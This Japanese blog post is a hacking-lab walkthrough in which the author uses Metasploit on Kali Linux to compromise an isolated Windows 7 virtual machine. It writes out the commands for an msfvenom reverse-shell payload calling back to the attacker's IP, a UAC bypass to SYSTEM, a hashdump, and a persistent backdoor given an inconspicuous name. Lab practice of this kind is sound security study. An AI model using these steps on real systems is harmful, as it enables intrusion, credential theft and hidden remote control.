プッシュアップバーを買って腕立て伏せが捗っているko_ya346です。
胸筋がむくむく育っているのを感じて楽しいです。
Amazon | Reodoeer プッシュアップバー 腕立て伏せ 筋肉トレーニング (オレンジ) | Reodoeer | プッシュアップバー
前回は攻撃端末であるkali linuxの環境が整ったので、いよいよハッキングしていきます!!
参考書は前回同様こちら
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
Amazon.co.jp: ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 eBook : IPUSIRON: 本
ターゲット端末を用意
こちらのサイトからwindow7の仮想マシンをダウンロードします。
今回のターゲットはwindows7なので画像のように選択し、ダウンロードしました。
解凍後、ovaファイルをVirtualBoxにインポート、ホストオンリーアダプターの設定を行ったら起動します。
いよいよハッキング
今回の目的はwindows7に侵入し、永続的バックドアを設置することです。
これが成功すると、ターゲット端末の電源が起動していればいつでも遠隔操作することが可能になります。
この攻撃を受けた端末は踏み台として使用され、新たなターゲットへの攻撃に使われるそうです。恐ろしい。。。
今回はMetasploit Framework
(通称Metasploit)を使用します。このツールはハッキングに関連した調査、侵入、攻撃、バックドアの設置・接続というサーバー侵入の一連の攻撃をサポートしています。
手順としては、
- (kali linux)ペイロード*1を作成
- (kali linux)ペイロードを外部からアクセスできるようにする
- (win7)ペイロードを踏む -> kali linuxから遠隔操作が可能になる
- (kali linux) 永続的なバックドア*2を設置
です。早速やっていきましょう。
ペイロード作成
metasploitを起動します。
# msf6 msfconsole
余談ですがこのツール、AAがほかにも種類があって、
# msf6 banner
を実行するとほかのAAも見ることができます。ちょっと楽しい
さて、次に今回のターゲットに使用するモジュールを検索します。
今回は
- Windows向け
- TCP型のリバースシェル*3
- ペイロード
の条件で出てきたモジュールを使用します。
# msf6 search type:payload reverse_tcp platform:windows
実行すると70件くらい表示されます。今回はpayload/windows/meterpreter/reverse_tcp
を使用します。
続いてevil.exe
というペイロードを作成していきます。
msfvenomというコマンドを用います。保存先はどこでも大丈夫です。
# msf6 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil.exe
LHOSTはこのペイロードが実行されたときのアクセス先を指定します。
今回はkali(10.0.0.2)を指定します。
ペイロードを外部からアクセスできるようにする
別のターミナルを起動し、evil.exe
をwebサーバーで公開します。
# kali linuxターミナル sudo su cd /var/www/html mkdir share cp /home/kali/Desktop/evil.exe share chmod -R 755 share cd share service apache2 restart
ペイロードを踏む
win7の仮想環境にてブラウザを起動し、http://10.0.0.2/share
にアクセスします。
ここまでの準備が成功していればevil.exe
が見えるはずです。
evil.exe
をクリックし、実行すると攻撃が開始されますが、一旦kali環境に戻り、待ち伏せの準備をします。
windowsにはvista以降、UAC機能*4があるため、SYSTEM権限に昇格することができません。
そこで、一度リバースシェルで接続した後に、管理者権限をバイパスするモジュールを使用してSYSTEM権限に昇格していきます。
まずは攻撃端末側でリバースシェルからの接続を待機状態にするところまで準備します。
# msf6 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp # 攻撃端末kali linuxのipアドレス set LHOST 10.0.0.2 # 設定オプション確認 show options exploit # 待機状態になる
続いてターゲット端末のwin7仮想環境に移動し、先ほど見えたevil.exe
を実行します。
するとkali linuxで先ほど待機状態にしたターミナルを見ると、セッションが確立し、meterpreter
というプロンプトが表示されました。
ターゲット端末のコマンドプロンプト(win + rを押し、cmdと入力して実行)で
# win7 netstat -n | find "ESTABLISHED"
と実行すると、攻撃端末のipで接続されていることがわかります。
ちなみにこの状態ではUAC機能が生きているので、SYSTEM権限に昇格するコマンド
# meterpreter getsystem
を実行してもpermission errorが発生します。
なので一旦
# meterpreter background
を実行してmsf6プロンプトに戻ります。
# msf6 sessions -i <セッションID>
で再びmeterpreterプロンプトに入ることが出来ます。
続いてUAC権限をパスするためのモジュールを用意し、先ほどのセッションを通じてexploitを送り込みます。
# msf6 use exploit/windows/local/bypassuac # 確立済みセッション指定 set SESSION {sessionID} set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.2 exploit
# meterpreter getsystem
画像のように権限昇格されれば大成功です。
ちなみにここまでの操作を行っても、攻撃端末の画面にはほとんど変化がありません。
非常に恐ろしいですね。。。
SYSTEM権限があれば、パスワードハッシュをダンプ*5したり勝手にユーザーを追加*6したり好き放題できます。
永続的バックドアを設置
今回はターゲット端末でevil.exe
をうっかり踏んでくれたおかげでセッションが確立されましたが、
再起動すれば切断されてしまいます。
再度うっかり踏んでくれるかもしれませんが、望みは薄そうなので
セッションが残っているうちにwin7起動時に自動でペイロードを実行するように設定しておきましょう。
ここではpersistenceというモジュールを使用して設置を行います。
先ほどのSYSTEM権限を持つセッションを利用していきます。
# msf6 use exploit/windows/local/persistence # exe nameには好きな名前をいれる # ばれにくいように、session1とします # set EXE_NAME {exe name} set EXE_NAME service1 # SYSTEM権限を持つセッション set SESSION {session id} # webページに公開しているペイロードのパス set EXE::Custom /home/kali/Desktop/evil.exe run
実行後、win7を再起動します。
起動したらタスクマネージャーを開くと、、、
永続的バックドアがうまく起動しています。
そして、先ほど同様に接続を待機してみると
# msf6 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.2 exploit
見事接続できました。
これでいつでも、win7に侵入することが出来ました。
終わりに
今回はwin7のハッキングに挑戦しました。
接続 -> バックドア設置まで非常に簡単な手順で完了することが出来ました。
今回はターゲット端末で実行ファイルの起動がトリガーになっているので、怪しいファイルには触らないほうがよさそうですね。。。
また、同様の手順でもwin10のハッキングも可能ですが、こちらは非常にセキュリティが堅牢なため、容易にハッキングすることはできません。
今回使用したevil.exe
をwin10で実行しようとしても、まずセキュリティソフトがブロックしてしまいます。ホッ
攻撃側を経験することで、セキュリティ意識が高まった気がしたので個人的にやってよかったなと思いました。
*1:悪意のある動作をする実行コード
*2:利用者が入る正規の入り口とは別に、秘密裏に作られる「勝手口」のことで、IDやパスワードがなくても、ログインが可能になりますhttps://www.amiya.co.jp/column/backdoor_20200604.html#:~:text=%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%81%A8%E3%81%AF%E3%80%81%E5%88%A9%E7%94%A8,%E3%81%AA%E3%81%A3%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86%E3%81%93%E3%81%A8%E3%82%82%E3%80%82
*3:ターゲット端末から攻撃端末にアクセスすること。アウトバウンドに対してはブロックが緩いことが多い
*4:ユーザーアカウント制御(User Account Control。ウイルスや不正な操作、操作ミスなどによって、管理者権限が必要となる操作(システム設定の変更やプログラムのインストールなど)が自動的に実行されてしまうのを防ぐための機能https://atmarkit.itmedia.co.jp/ait/articles/0703/09/news127.html
*5:run hashdump